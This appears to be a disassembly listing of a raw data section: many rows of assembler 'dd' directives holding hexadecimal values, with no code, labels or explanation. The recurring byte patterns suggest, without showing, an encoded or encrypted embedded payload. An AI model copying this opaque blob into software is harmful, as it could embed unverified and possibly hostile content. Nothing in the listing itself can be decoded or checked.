		dd 1881B12Ch, 0F7B23E1Eh, 0B4951D76h, 67C5159h,	8FDC851Ah
		dd 66113204h, 1F9D7B1Ch, 5B8C9E11h, 3D4F7BA4h, 0DA80C0A1h
		dd 0BEB95368h, 0BE75F124h, 6628DB75h, 39E53215h, 75340D87h
		dd 2CD966BCh, 0A2F8B375h, 0EC36B4DBh, 0CDE953D7h, 7CC33DEDh
		dd 6223215h, 9DDCD394h,	6B6150F2h, 72443215h, 18700F4Eh
		dd 28174C31h, 0C3ECD137h, 62FB6574h, 67223215h,	422DB9EBh
		dd 698CF696h, 66443D9Fh, 6628DB15h, 8F423215h, 5E1DB598h
		dd 497BC901h, 6060E9Ch,	0F3CBB373h, 6C438B85h, 0EF254EB2h
		dd 8F2E1661h, 66113219h, 481F6443h, 0B4565340h,	2593852Eh
		dd 462C879Ch, 0ED7D3407h, 0EF121629h, 62E4B3F3h, 0E5113215h
		dd 520F36D3h, 246E31h, 9943C09Eh, 0E54A1621h, 6A6136D1h
		dd 0A4443215h, 3AE93A21h, 1653A395h, 0EDECB814h, 0EF161619h
		dd 62E0B3F7h, 0E7113215h, 668836D7h, 4250B515h,	662CDB49h
		dd 0E5163215h, 0D82B7184h, 0E3162877h, 2CF5415Ah, 3735069Eh
		dd 0A709D39Ch, 66443211h, 6626F394h, 6A963215h,	6A616E31h
		dd 6A443215h, 2B057ACAh, 0A9CCBAF8h, 355653FCh,	0A5C5D19Ch
		dd 66223211h, 0E115F196h, 42031609h, 48ADCA31h,	8FDDCDCAh
		dd 66113218h, 0B8D9AD8Fh, 4CBB38E6h, 0D635DDE2h, 0C694F502h
		dd 648E2B60h, 69443215h, 66223398h, 0EF46CA15h,	0ED73BBE2h
		dd 0A2C71629h, 69CA5211h, 4113215h, 0D2C4AF9Bh,	0D9CF02E8h
		dd 9B29C758h, 57ABDED8h, 3EDF8140h, 7FAFF95h, 692C841Ah
		dd 66112399h, 6D0F3D15h, 8F443215h, 66223213h, 98007427h
		dd 9F087A2Ah, 1FC73D95h, 69223215h, 6611259Dh, 77043D15h
		dd 8F443215h, 66223219h, 0F6916762h, 5363F6DEh,	0D9D8AD3Ah
		dd 0E668C43h, 953802C2h, 0E743334Bh, 0B12C76D6h, 0E02D5225h
		dd 66113217h, 69DA6D45h, 71DC0A2h, 66238B44h, 0AD103215h
		dd 0E8CA4Ch, 0E7EC494h,	0DB8075h, 6DABD494h, 0A0615374h
		dd 6443215h, 66223DFDh,	0DC518215h, 0F54A563Fh,	5B0141B0h
		dd 0A220E8F9h, 3DE3B973h, 7A5FA95h, 98688546h, 0A6F5C4D2h
		dd 89D130F2h, 3447CC13h, 0A8BA7FA3h, 666FDC95h,	9F3968E2h
		dd 6861C74Eh, 5B443215h, 0C24B98CDh, 0B1F46507h, 55C3DE49h
		dd 0E795C5AFh, 662233D4h, 0DE41C715h, 3092938h,	3AE68847h
		dd 8CA341D6h, 127751D0h, 1159F894h, 8C851689h, 80E0B313h
		dd 0E7548E66h, 5C7405E7h, 3C940339h, 67AF334h, 9DA63D75h
		dd 74EB973h, 664439FDh,	800815h, 5181CE48h, 1973668Ah
		dd 0E7256DECh, 142930D6h, 2D2B35Ch, 4FBF6B51h, 2AFB3DEh
		dd 0E7156B51h, 141A30FEh, 668FDB5Ch, 4ECC3215h,	0FD53341Eh
		dd 0D794B994h, 9F8E2019h, 7895A79Eh, 0E82D3407h, 66113214h
		dd 5735B1ECh, 67422035h, 6236B61Ah, 0EE1E3215h,	66883219h
		dd 6642B81Ah, 0EE2D3215h, 66113215h, 0E487F12Ch, 664431EFh
		dd 662FDBEDh, 0B8633215h, 9D3AEC3Bh, 59C5E38h, 5FA48EB1h
		dd 0F0933DC6h, 9E77CDEFh, 6647EBFCh, 662ADB15h,	0B64B3215h
		dd 43ED46B9h, 0E383F836h, 603B47B5h, 66113217h,	70375475h
		dd 3025CA7Dh, 0B5060694h, 3D1A4A40h, 335B8F40h,	8D75396Dh
		dd 0D02DCA48h, 0DD77521Bh, 774D386h, 664EBB1Ah,	63CB3215h
		dd 0D9113215h, 786EB55Dh, 69C4CB95h, 66227796h,	0DC43C715h
		dd 37561F38h, 671EE13Ch, 4BE1B3DEh, 6940EC38h, 66883F99h
		dd 664CDB15h, 52F33215h, 983E1C84h, 0D9DFDDD8h,	99BBCDEAh
		dd 697DC93Ch, 6611399Ch, 668EDB15h, 83103215h, 2BE014E3h
		dd 6611B8FCh, 0D6D8CE15h, 0E4ADB2EAh, 0A7A2F33Dh, 93ED6A97h
		dd 0B67FA35Ch, 0ACFA5284h, 0D81DF9CEh, 73A64ED4h, 0D9DF6474h
		dd 3FBE52B2h, 0E77DCC9Ch, 4F20F4FBh, 6566F34Fh,	1F4DFC94h
		dd 0A0A30534h, 0C535D5Fh, 8B50C494h, 97659828h,	662FDB4Bh
		dd 439B3215h, 0B19A16C7h, 0C33DE6A6h, 0E74B18E4h, 236A69D6h
		dd 4463B35Dh, 4F0FAE6Eh, 44E1B3DEh, 0E75AAE6Eh,	23F369FEh
		dd 76C53D5Dh, 69223215h, 66113893h, 668DDB15h, 0BDBF3215h
		dd 0ED6B7DAEh, 741D8390h, 6D093D13h, 8F443215h,	66223213h
		dd 22BDB2F4h, 0F30397DDh, 60562CC4h, 6629B31Ah,	69713215h
		dd 66883292h, 0B0F33D15h, 579FB174h, 67172035h,	64F4B61Ah
		dd 8F243215h, 66223206h, 58D09062h, 2CEABCB4h, 46CF3175h
		dd 85A589C6h, 3159742Eh, 6688B81Ah, 71F3215h, 0E42DEA2Eh
		dd 66113208h, 66883DFCh, 0E49A115h, 68F025E4h, 2AEF7E4Ah
		dd 4910625Ah, 0E04BE12Ch, 99DDCAF8h, 8AB60EDh, 0E7E9C75Bh
		dd 930A5DFFh, 3CF43374h, 661139FCh, 8DF42D15h, 0DBEAFCB8h
		dd 0A1A57D4Ch, 88A56246h, 0D6D0D59Dh, 3DBC02F4h, 6623B51Ah
		dd 0CCED3215h, 9F035475h, 0E525E89Fh, 7AAB36F9h, 66118931h
		dd 95893215h, 931F399Fh, 0B5926244h, 0D649F79Dh, 3F6032B8h
		dd 0D61461E9h, 0EE6E0628h, 8D916AD6h, 0C47BB2D1h, 61FEB35h
		dd 6620BB1Ah, 0D6A13215h
		dd 668821FCh, 20F35815h, 1D906C99h, 0A86C766Ah,	0EF3CBA6Bh
		dd 0FA5DC196h, 8FEA3A74h, 66113218h, 94D1A41Eh,	88077451h
		dd 24F458A2h, 0E7E4985Ah, 75CA25FEh, 30BF1B10h,	756025ABh
		dd 38E23310h, 66883EFCh, 0D5D7E215h, 0FEEA9325h, 8E08A522h
		dd 62306239h, 0E7443215h, 526FCFD6h, 0E7D21B47h, 52C5CFFEh
		dd 6EAD6A47h, 0FF223215h, 0F61D389Bh, 367FE9F2h, 0EF40DE96h
		dd 3D7A1609h, 661120FCh, 398E7315h, 5F5034A1h, 0E38B10D9h
		dd 87B009C1h, 0CD47AAE5h, 0ED99B875h, 33DB53EFh, 4F738A45h
		dd 23543AEh, 4F35893Ch,	88236AD0h, 0D398CB48h, 609A1228h
		dd 0E383CAE9h, 60301224h, 66113214h, 690A3D75h,	8F443215h
		dd 6622321Fh, 363F0A9Ah, 0DA2063F4h, 9E2477BFh,	7E5851Ah
		dd 85986174h, 668CF194h, 0A5C73215h, 423EB511h,	6935169Eh
		dd 66882490h, 76C73D15h, 8F223215h, 6611321Eh, 24DEE9BDh
		dd 582C96DAh, 69DF599Fh, 66113890h, 0D9EE5215h,	0DC225E21h
		dd 99431178h, 0E54A1621h, 0ED7D36D1h, 0EF111619h, 62E7B3F0h
		dd 0E5113215h, 4A0F36D0h, 0E14B6E31h, 66223212h, 9FA63D75h
		dd 8FE96942h, 66443206h, 1F1A123Fh, 3D5FC314h, 79733CAh
		dd 69C9D321h, 305DCAC6h, 0A0906C41h, 66883211h,	0E140F496h
		dd 697E1621h, 66113399h, 0EFDACA15h, 62FD63F7h,	67223215h
		dd 0A4926BDFh, 429CB511h, 69C53D49h, 8F223215h,	6611321Fh
		dd 0F588C5C0h, 0E7B0D5F6h, 0ECCB8465h, 6EECDCCh, 669ADB75h
		dd 0DA2B3215h, 0CCD933B6h, 520BC63Fh, 75A0D2D5h, 0D7607520h
		dd 7EA851Ah, 53FFB373h,	0DBDD5311h, 66443214h, 9A7FDC3Ch
		dd 0A6578344h, 870831F4h, 0C58DB298h, 0E671F395h, 0BFE7BFFCh
		dd 8F08EBE3h, 3F8CBA95h, 67A33D75h, 9F113215h, 668CB41Ah
		dd 0DC223215h, 643D4F1h, 661AB31Ah, 63603215h, 16443215h
		dd 0A0FB923Ah, 0C8FFB34Ch, 7865B23h, 0E712C7BFh, 68941611h
		dd 33493009h, 0B8EE82A8h, 6081B353h, 4F990FBDh,	34E86FFDh
		dd 4DF00AAFh, 0E796C547h, 565F33DFh, 0A5FBB372h, 0E7E0B211h
		dd 7D204AD7h, 0EAC8B325h, 672F39EFh, 9EA168C5h,	0E220C238h
		dd 6636DB6Ch, 36773215h, 1649AEFCh, 0F8880763h,	0B9A9227Ch
		dd 4DEBC9A4h, 1EE0ADF1h, 0EF443259h, 62991609h,	4F113215h
		dd 69E869CDh, 66443098h, 9E435215h, 34E89974h, 0A4096841h
		dd 66443211h, 0E126F096h, 8F4D1601h, 6688321Dh,	61D479h
		dd 0F36348CBh, 6601BF1Ah, 6D613215h, 78443215h,	564A4498h
		dd 882AB9D9h, 5277236Ah, 0A2C56931h, 66223211h,	6610B61Ah
		dd 0ED713215h, 0EF171619h, 62E1B3F6h, 0E5113215h, 7A0F36D6h
		dd 76AD6E31h, 29223215h, 14FFB69Ch, 8AFAF451h, 0E121DC14h
		dd 9917A3E8h, 0E54F1621h, 0EB8736D1h, 66443211h, 7435275h
		dd 0E7F3BB47h, 668836D7h, 6286B115h, 57062626h,	72221601h
		dd 0E6E86E31h, 8F251CE2h, 99DDE8D6h, 0B19A6375h, 9C6AB34Bh
		dd 77AB959h, 1382B7D2h,	6614340Ch, 0E5873215h, 66443213h
		dd 91A95475h, 0EF4453E9h, 0ED63BBE0h, 0A2C51639h, 66223211h
		dd 0D84763ECh, 66883211h, 671AC39Ch, 6426BDEh, 8FD1851Ah
		dd 66883206h, 6E5C678Ah, 9CFD8DAh, 2697649h, 0A281D30Dh
		dd 7BF9294h, 662222FDh,	98BC2915h, 9361F9B6h, 0C9CD4A9Ah
		dd 7B2B0A45h, 661FDA09h, 58CE3215h, 0E33BF04Dh,	7690173Fh
		dd 1E8BB16Fh, 69E96C4Dh, 66442791h, 69A53D15h, 8F113215h
		dd 6688321Fh, 0C9A5B438h, 9CB19B6Dh, 0DF402F86h, 66883215h
		dd 0DC16C314h, 66223215h, 7C12F814h, 0E4876B4Fh, 66443206h
		dd 662EDB75h, 304A3215h, 0FACF2FD7h, 0E71CA1D2h, 0ED430CF9h
		dd 741D8390h, 0F303CA13h, 60562CC4h, 0B7A95475h, 37706A43h
		dd 9977CDACh, 3F8A33EAh, 663DBE1Ah, 0EF1E3215h,	6688320Ch
		dd 664426FCh, 56C89A15h, 648C2ECBh, 0B082EA88h,	0BBA6D8B7h
		dd 0C5A28CC4h, 87ACB170h, 678E2014h, 60BFB61Ah,	5DDB3215h
		dd 43933DCDh, 6883215h,	6646B01Ah, 9FA93215h, 19D2B373h
		dd 0BCB353B9h, 671EB41Ah, 0EC2D3215h, 6611321Dh, 668AB41Ah
		dd 7243215h, 461F879Ch,	68F83407h, 0A3883215h, 46122B48h
		dd 0C6E153A1h, 0EFDECFF8h, 0FB03CE11h, 605D47B5h, 662221FCh
		dd 724EF15h, 92ABF67h, 0E585930Eh, 0D70188FEh, 89B75D62h
		dd 2D6C8B44h, 2A451949h, 677B2231h, 0E71D1649h,	82841679h
		dd 696F6E5Eh, 6622339Ah, 14F8CA15h, 69883213h, 66443994h
		dd 6624DB15h, 66F73215h, 14D4CFFDh, 396006EAh, 626F696h
		dd 0D18D1Ah, 7F91BAFh, 664422FCh, 84ABC715h, 0CEC566AFh
		dd 77D4B87Ch, 0D78952A1h, 87A7F5ECh, 67172014h,	93883215h
		dd 3D6006EAh, 6626F694h, 0E81E3215h, 6688321Dh,	6646B01Ah
		dd 7423215h, 3F3506EAh,	668CF694h, 69243215h, 77CACAA2h
		dd 35113215h, 8C96BFA3h, 0C546C143h, 0E741D1FAh, 0D6E637D0h
		dd 1E198A73h, 52CF534Fh, 85AB6131h, 6615F194h, 0A50B3215h
		dd 4258B511h, 61CA5249h, 38113215h, 3E18A52Dh, 0EB4BBEC1h
		dd 66223215h, 6600DB4Dh, 14C13215h, 42D53830h, 34EAB95Eh
		dd 0DAF3F14Eh, 79C35B1h, 0E71B6642h, 662236D2h,	62D6B115h
		dd 3AAC0E92h, 0B33BDBE9h, 6942CDEAh, 76F8F1AAh,	0E1883215h
		dd 0F2C502C6h, 45462379h, 742085AEh, 7A9A897h, 46758F96h
		dd 69233407h, 66144691h, 6685DB15h, 76423215h, 0E83627Bh
		dd 1DDF62A0h, 4D899E7Eh, 74488388h, 6627DB13h, 0B63E3215h
		dd 0EDA783FEh, 74665798h, 0D2925213h, 39D0B374h, 67F7D65Dh
		dd 39FB65CCh, 4F5DD65Dh, 36ED6DECh, 46DD20ADh, 6B823F71h
		dd 0EF0F6454h, 2E5F8A58h, 0C0A5E2E2h, 67D9B7A8h, 9F0B6AD4h
		dd 541CDB94h, 317D08C4h, 66418946h, 0B9AB3215h,	39E81B4Eh
		dd 233B61EDh, 0A647D1D5h, 0A5DC35F6h, 3716D1D5h, 0ADA8EEA4h
		dd 0F87B24Ch, 9F79EA9Dh, 661BB91Ah, 0E7E83215h,	1B8A97CBh
		dd 7796456h, 0AE20C7BFh, 0AEB9F324h, 6643DB75h,	28DF3215h
		dd 0F213B81Ah, 6699DA82h, 11FC3215h, 0A05CD609h, 37795F91h
		dd 0A74118C4h, 8F66F10Eh, 66223218h, 1FB5BDDh, 5CDD6331h
		dd 2664D0AAh, 0CD436C5Fh, 849860ECh, 668CF094h,	0A4C73215h
		dd 12DD6011h, 0E94B3631h, 9ED41611h, 3D6006EAh,	6626F694h
		dd 30713215h, 0DD6EB373h, 61AC6B4Ch, 6223215h, 0F90BD3FEh
		dd 6F613AC4h, 87443215h, 0AD595CC8h, 57E46114h,	5277534Fh
		dd 0A2C76B31h, 77A03D11h, 6113215h, 668837FDh, 5A9C8D15h
		dd 7A481Eh, 7BEABAEh, 34AC069Eh, 0A4C5D09Ch, 66223211h
		dd 6615F094h, 720F3215h, 8E246E31h, 6622321Ah, 22341EC5h
		dd 4242C276h, 68CDBB9Fh, 66FE051h, 0EA1E6C74h, 66883211h
		dd 7CA88973h, 83AB6774h, 6615F794h, 0A30B3215h,	42680111h
		dd 55061E24h, 934D1639h, 995EB8FCh, 6648DBEAh, 504D3215h
		dd 0A37399E7h, 0A310A4ADh, 0E44B2533h, 66223218h, 66113AFCh
		dd 0DF147315h, 0C4F71720h, 0C6A7F5F0h, 64172B60h, 9F883215h
		dd 4268B343h, 2DDF30A6h, 11AB604Eh, 0E7AA1405h,	0F87E88E7h
		dd 7CC8B37Fh, 67ED893Dh, 0E868C6h, 835FE194h, 68943D74h
		dd 661EB71Ah, 8EE83215h, 66443213h, 68560D0Fh, 9A4B4E5Ch
		dd 0E671B274h, 6623B11Ah, 74CB3215h, 62113215h,	3903A2D5h
		dd 7408E1F6h, 0F668C03Ah, 0AE5AC140h, 5A366487h, 4F3C2924h
		dd 0AD236CE6h, 572DF194h
		dd 6E614A0Eh, 0F5443215h, 1DD70F31h, 367AA15Dh,	9977CDADh
		dd 3E871BEAh, 662223FCh, 0DE800415h, 13958A97h,	2C51A29Fh
		dd 4B6A570Ch, 0ADF8A89Eh, 69883215h, 66443A9Ah,	64A53D15h
		dd 6113215h, 0D3D96274h, 3FA8BA80h, 0AADCF6EBh,	0E612FE95h
		dd 87A0AAF9h, 76C73D4Dh, 6223215h, 66113AFDh, 4EA26415h
		dd 46238488h, 0E436C4Ah, 66113215h, 75AC1E94h, 4F77257Bh
		dd 62A31619h, 717F2131h, 0E5876B26h, 66443214h,	8AA3CBE9h
		dd 66113211h, 0DBAC1E9Ch, 645D4CAFh, 1A42F794h,	0A3903D4Fh
		dd 371E13B9h, 4F5CC794h, 0BBD57AC7h, 5F01F794h,	930974DDh
		dd 7CB431D8h, 8F7FDB34h, 66113204h, 0E51B92FCh,	0C111AEA8h
		dd 0D19B4CF4h, 327E275Ah, 674BB35Eh, 4F5F0361h,	489860DEh
		dd 0E757946Bh, 0ECD044FFh, 0D1AEB30Dh, 4F30D8A4h, 0E11E68C6h
		dd 6688321Fh, 691C6575h, 6622329Ch, 0E39A5315h,	609A3EA4h
		dd 6664B31Ah, 8F423215h, 6611321Eh, 154BC876h, 298D029Eh
		dd 8FD21F62h, 6611321Ch, 152DA1D7h, 0BCA80F50h,	0EDDA5317h
		dd 740FE380h, 0A6095213h, 606E4604h, 9CF3DB74h,	0E21ECDEAh
		dd 66883203h, 664423FCh, 6D32DB15h, 0A828C41Bh,	76A52557h
		dd 5A61E65Ah, 8F423953h, 6611321Ah, 6DFA0DBDh, 0C11D57B5h
		dd 0CF7F27A0h, 734A89Bh, 1328B7D2h, 6646340Ch, 6DE3215h
		dd 69B8F395h, 6688319Bh, 99A8B215h, 96AB6274h, 8F496945h
		dd 66883210h, 0C00B40AEh, 68943D5Ah, 0D11ECE75h, 9F0853CBh
		dd 5C73D95h, 69223215h,	66113A9Dh, 64003D15h, 6443215h
		dd 15C9B374h, 0E7662C38h, 5E8AED6h, 0E78F3302h,	542AEFEh
		dd 15D2B302h, 69FF2C38h, 66443E93h, 60A63D15h, 69113215h
		dd 66883297h, 67FA6415h, 67223215h, 69716CE6h, 66883096h
		dd 7AEB815h, 6622FEFCh,	0EA1E5215h, 66883216h, 0E795D395h
		dd 0DC9924D5h, 5879534Dh, 0EF88327Fh, 99F31609h, 6979CB3Dh
		dd 6611339Dh, 66E0CE15h, 0E7443215h, 637A1639h,	6A380BACh
		dd 428CB331h, 5FFD374Dh, 74CB524Ch, 59113215h, 328314F4h
		dd 0EE33F612h, 0F1FB71F2h, 0C00282Eh, 0A90354F5h, 6656DB74h
		dd 3F993215h, 0C353B6B8h, 351C5CD9h, 0D452220Bh, 0A0A91B36h
		dd 660BB27Dh, 429CBB15h, 1395DAFh, 3C8B37Dh, 2C731931h
		dd 7818F894h, 0E7061C45h, 1A7CA9FFh, 3CC0133Bh,	0EA8752ECh
		dd 66443213h, 6622BE1Ah, 69713215h, 66883294h, 66C43D15h
		dd 7223215h, 0ECFAB374h, 0E7E2462Ah, 4B003DD6h,	0E7E91B3Fh
		dd 4B553DFEh, 0EC4BB33Fh, 9A2E462Ah, 0D7A7B9E0h, 69172019h
		dd 66883A97h, 64C73D15h, 6223215h, 0B784B974h, 68E200Bh
		dd 664426FCh, 946A9615h, 0D31B53C8h, 56B7446Fh,	0C88C15C8h
		dd 0F49F2342h, 9DAE3D50h, 5735B174h, 67422035h,	9096B61Ah
		dd 8F71CDEAh, 66883205h, 73D13070h, 819CFCA8h, 0B84D3BFCh
		dd 0DCB2B85h, 0BE7F53EDh, 6628B01Ah, 5FED3215h,	240E3DC6h
		dd 9FBBCDF8h, 6645507Dh, 4225BB15h, 38AC3EEAh, 6ACF64EDh
		dd 62E6B331h, 6113215h,	8E08DEA5h, 8FC55349h, 696A65BFh
		dd 3234F394h, 9FA13E35h, 3261DB94h, 0A7A33E35h,	695965BFh
		dd 0A959B275h, 6A4D8B73h, 63986074h, 4F113215h,	429CB9C4h
		dd 8F40F696h, 66223201h, 8B9CADB3h, 0A3D946DDh,	3DC2D5C0h
		dd 0F256EF82h, 0ABE1EE04h, 0B67E1BA5h, 90D18546h, 0E6E5CCCAh
		dd 9E112AE2h, 9F2B064Eh, 6EAD52BFh, 0BC223215h,	4D8B1EDAh
		dd 3431AB51h, 6644B41Ah, 77A3215h, 3A585A45h, 6A013215h
		dd 61D6A31h, 0D92DF09Fh, 6BA53CEh, 8FA5E395h, 66443213h
		dd 27E67BB3h, 8F70672Ah, 9977E3EEh, 6640B21Ah, 6423215h
		dd 8A925374h, 4284BB11h, 664432ACh, 0ECD33315h,	8E716B14h
		dd 66883218h, 0D89A702Ah, 0EA3091E2h, 0EF9A585Fh, 6687DBBDh
		dd 7C03215h, 0A23FF366h, 2DB872C0h, 8285054Bh, 7BF56D1Ch
		dd 69CA0E74h, 66117091h, 317DCE15h, 3A286D7Dh, 399A6D06h
		dd 57026E79h, 8FE86DEDh, 66443204h, 0A54F1364h,	7E0ED059h
		dd 0C57CCBC7h, 889010ACh, 63A03D97h, 113215h, 6070D994h
		dd 67EBDB74h, 423215h, 69C309ACh, 31E9ECA2h, 0A1C5D59Ch
		dd 66223211h, 6615DD94h, 5A0F3215h, 7ACD6E31h, 0EA2D5231h
		dd 66113213h, 0F126DA94h, 6BFB1D04h, 7173FA6h, 6615DE94h
		dd 4A013215h, 0EFB1BB31h, 69426FFEh, 6611209Ah,	6684DA15h
		dd 0F1AB3215h, 0F197EBD4h, 0BDDE6D92h, 0ECD7690Ah, 0E5B853DAh
		dd 62AB36F9h, 66108A31h, 96893215h, 691C2A16h, 66223394h
		dd 0D847CE15h, 66883210h, 52CFC114h, 62E6B331h,	9E113215h
		dd 35608744h, 9ECCDD9Dh, 6ECB6B4Eh, 35113215h, 0C33048BAh
		dd 0CC1C129Fh, 6625BC1Ah, 713215h, 7E8F09Eh, 2FAFB374h
		dd 4F4ABE78h, 0C7AE65EEh, 0E7973E0Eh, 4C373CF2h, 0DFC5B364h
		dd 0A743C801h, 0B17F31F2h, 0D3ABB35Ah, 67350107h, 6EF86DEEh
		dd 1D883215h, 9E77433Bh, 0E2DF6CAh, 66114C7Dh, 0DCAC269Ch
		dd 66443211h, 6978E13Ch, 66112E94h, 74615215h, 6E443215h
		dd 77C7737Fh, 5B370996h, 0C2C9295Ah, 0D312E6FFh, 0E4ECB26Bh
		dd 0ED426274h, 0A20B1611h, 0E24B6911h, 66223212h, 6610B41Ah
		dd 0CD743215h, 60C23D75h, 69223215h, 6611329Eh,	9C373D15h
		dd 4270CD74h, 62E6B14Eh, 63A863EDh, 0E7883215h,	0BD0DF0D3h
		dd 0E7EC3363h, 0BD58F0FBh, 76616B63h, 72443215h, 0D2D31529h
		dd 0C4BD8415h, 7EA0CD0Dh, 31613370h, 78059FAAh,	79E6B353h
		dd 0E7DA0A01h, 652D53FAh, 0B0E5B377h, 34120208h, 0A4F230AFh
		dd 3C93031Eh, 0BFEF594h, 9E98737Ah, 669BDB4Ah, 3C623215h
		dd 23AD4A20h, 0F4D53644h, 5A9AC1F3h, 0A2C43B90h, 0EF2DF19Bh
		dd 6611321Dh, 668ABE1Ah, 7243215h, 66223AFCh, 2D37515h
		dd 99C9B60Fh, 80CD648Eh, 6626F494h, 88903215h, 66883211h
		dd 3A600692h, 93063E9Ch, 27CD73h, 47AC1E94h, 62CF5419h
		dd 64E6B331h, 113215h, 8F841310h, 66443210h, 9AA3D09h
		dd 69D20E94h, 66891291h, 61C23D15h, 6223215h, 0D40DDA95h
		dd 0ADB45318h, 674FB61Ah, 61CB3215h, 0D1113215h, 87A59CABh
		dd 0A478E611h, 676AB61Ah, 35713215h, 3E56B973h,	664EBE1Ah
		dd 63CB3215h, 0FE113215h, 0F428D02Ah, 698E0E74h, 66231B91h
		dd 5B77CA15h, 0E28717EAh, 6644334Dh, 0E92DCB75h, 66113217h
		dd 0E95375h, 69BB1C28h,	66224190h, 661EDB15h, 3EFA3215h
		dd 6A582D53h, 0A2526DF7h, 216E46EBh, 0D8DE633Bh, 2BAA38AEh
		dd 2BA8DC94h, 0B0E65F8Ch, 0AB7EB353h, 0EF5B9957h, 97236CE4h
		dd 8F48339Fh, 66883212h, 0C374687h, 0E5E4F80Fh,	7A9836F9h
		dd 46788131h, 0EE4B69CDh, 6622321Dh, 98C4B275h,	756B973h
		dd 0E24B9229h, 66223322h, 66113DFCh, 0D6E60215h, 4D598CD1h
		dd 21540044h, 0D55B15FAh, 33AC3E9Eh, 0A3C5D79Ch, 66223211h
		dd 6615F794h, 4A0F3215h, 0E5B86E31h, 52AB36F9h,	66118C31h
		dd 96013215h, 664BDB4Bh, 0F63D3215h, 0D65AC985h, 90F76F2Eh
		dd 0EC3F4D2Dh, 67A8DBB3h, 0E81E3215h, 66883214h, 8F8D03ECh
		dd 6622321Ch, 7FB226B5h, 0AA97C4F9h, 67FA645Dh,	67223215h
		dd 0EF1E6CE4h, 66883219h, 6642BC1Ah, 0E42D3215h, 66113215h
		dd 6688FCFCh, 67C73D15h, 9A223215h, 6605BA1Ah, 8EE83215h
		dd 6644321Ch, 490E601Eh, 0F2019EF9h, 0EDEE6A38h, 0D81253CAh
		dd 78885094h, 2FFBD494h
		dd 0E7C63403h, 64044EE3h, 0EDD3BB13h, 0A2921621h, 6A053D11h
		dd 6443215h, 0EDA18D73h, 6611B11Ah, 8FE93215h, 6644326Eh
		dd 7F985475h, 77052D2h,	0EF8CDE96h, 90FA1621h, 0DF22877Eh
		dd 66A459E5h, 69D6C324h, 66443892h, 8FA35215h, 6303B39Eh
		dd 6E9E59Fh, 83B975h, 773AAACh,	8F70C99Eh, 6688322Ah, 0D7B15275h
		dd 0DD4453E1h, 8F708FBCh, 6688321Ah, 5110C94Eh,	0CA2E5426h
		dd 54C19225h, 339670EAh, 0F915D2A8h, 64C7F341h,	2168DF94h
		dd 3FDD6068h, 664DDB48h, 12393215h, 877F518Fh, 9595F912h
		dd 77C43DB1h, 8F223215h, 66113219h, 0AC47DAF7h,	48F6316Ch
		dd 0E2B49E1Fh, 0B79CB9EDh, 698E200Bh, 66443593h, 67A53D15h
		dd 93113215h, 0E387FB90h, 6644320Ah, 6623B81Ah,	6E43215h
		dd 8FC1F895h, 66443212h, 6859F157h, 70155F3h, 7859879Ch
		dd 0EDB83407h, 0EF711619h, 62D2B3F6h, 0E5883215h, 7AC336D6h
		dd 0ED2D6E31h, 6611321Eh, 668834FCh, 82EE6715h,	93A6A529h
		dd 6611337Dh, 428CB915h, 9F40F696h, 9944C7D6h, 629A5423h
		dd 644CB131h, 76AD52E9h, 0ED223215h, 17228ACDh,	8466C68Bh
		dd 0F14DA02Ch, 0EDD61A7Eh, 0A52D53D3h, 6742B61Ah, 6BAD3215h
		dd 3223215h, 5F3964C4h,	0D218B16Dh, 9A1A9C84h, 6628DB75h
		dd 0A6A33215h, 0FC23B86Bh, 0A70D0F45h, 374382A1h, 8D99F79Dh
		dd 0E7AC3E9Eh, 664436D1h, 6AA83D15h, 8F113215h,	66883212h
		dd 91F10B8Ah, 9F0475h, 46E18645h, 620354F6h, 6480B331h
		dd 6223215h, 88028A73h,	0B32DC094h, 0E6253EE8h,	0E22D42EEh
		dd 6611361Dh, 8FB4CEECh, 6712B61Ah, 5ADA3215h, 2B953DFEh
		dd 69883214h, 66443592h, 67A73D15h, 9F113215h, 0E287F029h
		dd 6644332Dh, 0AD1ECAECh, 673FB61Ah, 0DDE83215h, 22720E9Bh
		dd 662238FCh, 7E01B215h, 0ABF021A8h, 7FE592Ch, 43DD0F73h
		dd 671FB61Ah, 697D3215h, 66443E98h, 0BDA35215h,	1834FD66h
		dd 622A8873h, 698E0E74h, 6622C191h, 68993D15h, 8F883215h
		dd 6644321Ch, 6ED99D6Fh, 73A35A6Dh, 696B0EE1h, 66474D91h
		dd 6630DB15h, 6C9A3215h, 0C60E5812h, 78DC5B43h,	0C4D399Ah
		dd 0E672A62Bh, 6684BC1Ah, 0E04B3215h, 66223213h, 6611B31Ah
		dd 5BEE3215h, 0E34BCD3Bh, 66223275h, 64AA61ECh,	0E7883215h
		dd 20368FEh, 0E7D13319h, 25668D6h, 3D8BB819h, 664438FCh
		dd 0FCF0B915h, 0CAC38FC4h, 229EEBh, 0D0165444h,	0D3BAE5h
		dd 0D9124Fh, 9508524Ch,	6650DA74h, 0AE583215h, 0A321059Eh
		dd 0B558955Bh, 0F04D3Eh, 0D336001Ah, 0D11EB571h, 5AE969ECh
		dd 23C03DB5h, 9A223215h, 6615DE94h, 52013215h, 295F8C31h
		dd 839A7BF2h, 67A72AA5h, 6C616CE5h, 81443215h, 3C04CCF3h
		dd 239E4A20h, 66FBDB44h, 243215h, 0F6CEDD94h, 66113CFCh
		dd 865DD615h, 91B917E2h, 0B9B75E8Dh, 7F92C4Eh, 7859879Ch
		dd 72AD3407h, 5B223215h, 0CFFDE80Bh, 0C271906Ah, 21CF0A77h
		dd 3CF60CBFh, 0EBCE78BEh, 7E1C6F88h, 6657DB13h,	47753215h
		dd 4A8510Eh, 2C817D6Eh,	8D5322D0h, 0CE8D63EBh, 6C2CDEFh
		dd 751B875h, 66CE3D47h,	3D223215h, 66105A74h, 62033215h
		dd 6280B131h, 31DAF1ECh, 0A190D59Ch, 66883211h,	6640DD94h
		dd 5AA53215h, 62986E31h, 6687DB31h, 95EE3215h, 78A85103h
		dd 0CCCF79Ch, 14EF1AD1h, 30245256h, 61CA534Eh, 92113215h
		dd 2B3FC5F7h, 0ED225DE8h, 99436DE4h, 0DE412263h, 182A3E41h
		dd 62607614h, 320F6A4Dh, 66F9019h, 0BAC7F894h, 63AD349Dh
		dd 0D4223215h, 61288318h, 0BB0DBB74h, 9A42200Ch, 3E0606EAh
		dd 6615F694h, 74613215h, 0DC443215h, 23DEC50h, 92446174h
		dd 0B1F2CEAAh, 0D1534E5Eh, 66355A78h, 6A983215h, 66948B31h
		dd 0A8453215h, 67A63D4Ch, 9F113215h, 66883BFCh,	0A400CC15h
		dd 0B83FB126h, 0DB9CAA72h, 609A1E48h, 6642B81Ah, 6423215h
		dd 74E6274h, 6686B81Ah,	6FAD3215h, 84223215h, 2930B1C2h
